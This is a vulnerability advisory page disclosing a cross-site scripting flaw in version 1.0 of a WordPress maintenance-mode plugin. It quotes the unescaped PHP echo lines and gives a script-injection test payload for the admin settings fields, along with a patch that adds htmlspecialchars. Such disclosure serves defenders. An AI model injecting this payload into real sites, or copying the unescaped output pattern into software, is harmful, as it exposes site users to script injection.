Home
Bugtraq
Full List
Only Bugs
Only Tricks
Only Exploits
Only Dorks
Only CVE
Only CWE
Fake Notes
Ranking
CVEMAP
Full List
Show Vendors
Show Products
CWE Dictionary
Check CVE Id
Check CWE Id
Search
Bugtraq
CVEMAP
By author
CVE Id
CWE Id
By vendors
By products
RSS
Bugtraq
CVEMAP
CVE Products
Bugs
Exploits
Dorks
More
cIFrex
Facebook
Twitter
Donate
About
Submit
Wordpress Maintenance Mode Cross Site Scripting
2015.08.19
Credit:
Ashiyane Digital Security Team
Risk:
Low
Local:
No
Remote:
Yes
CVE:
N/A
CWE:
CWE-79
###################### # Exploit Title: Wordpress Maintenance Mode Cross Site Scripting # Exploit Author: Ashiyane Digital Security Team # Vendor Homepage: https://wordpress.org/plugins/rocket-maintenance-mode/ # Date: 2015-08-18 # Tested On: Kali Linux - FireFox # Software Link: https://downloads.wordpress.org/plugin/rocket-maintenance-mode.1.0.zip # Version: 1.0 ###################### # Vulnerable File and Codes: ###################### File : includes\classes\class-wpmmp-settings.php Codes : 153: $settings['title'] = stripslashes($_POST['settings']['title']); 155: $settings['heading1'] = stripslashes($_POST['settings']['heading1']); 157: $settings['heading2'] = stripcslashes($_POST['settings']['heading2']); 173: $settings['countdown_time'] = stripslashes($_POST['settings']['countdown_time']); ###################### File : views\admin-settings\general-meta-box.php Codes : 64: <input type="text" name="settings[title]" value="<?php echo $settings['title'] ?>" /> 78: <input type="text" name="settings[heading1]" value="<?php echo $settings['heading1'] ?>" /> 98: <input type="text" name="settings[heading2]" value="<?php echo $settings['heading2'] ?>" /> 124:<input type="datetime-local" name="settings[countdown_time]" value="<?php echo $settings['countdown_time'] ?>" /> ###################### # Exploit: For test Cross site scripting can use this code in all of the above inputs are vulnerable. "><script>alert(/xss/)</script>< Address: http://localhost/wordpress/wp-admin/options-general.php?page=wpmmp-settings ###################### # Patch: 64: <input type="text" name="settings[title]" value="<?php echo htmlspecialchars($settings['title']) ?>" /> 78: <input type="text" name="settings[heading1]" value="<?php echo htmlspecialchars($settings['heading1']) ?>" /> 98: <input type="text" name="settings[heading2]" value="<?php echo htmlspecialchars($settings['heading2']) ?>" /> 124:<input type="datetime-local" name="settings[countdown_time]" value="<?php echo htmlspecialchars($settings['countdown_time']) ?>" /> ###################### # Discovered By: Ehsan Hosseini. ######################
References:
https://wordpress.org/plugins/rocket-maintenance-mode/
https://downloads.wordpress.org/plugin/rocket-maintenance-mode.1.0.zip
See this note in RAW Version
Tweet
Vote for this issue:
0
0
50%
50%
Thanks for you vote!
Thanks for you comment!
Your message is in quarantine 48 hours.
Comment it here.
Nick (*)
Email (*)
Video
Text (*)
(*) -
required fields.
Cancel
Submit
{{ x.nick }}
|
Date:
{{ x.ux * 1000 | date:'yyyy-MM-dd' }}
{{ x.ux * 1000 | date:'HH:mm' }}
CET+1
{{ x.comment }}
Show all comments
Copyright
2024
, cxsecurity.com
Back to Top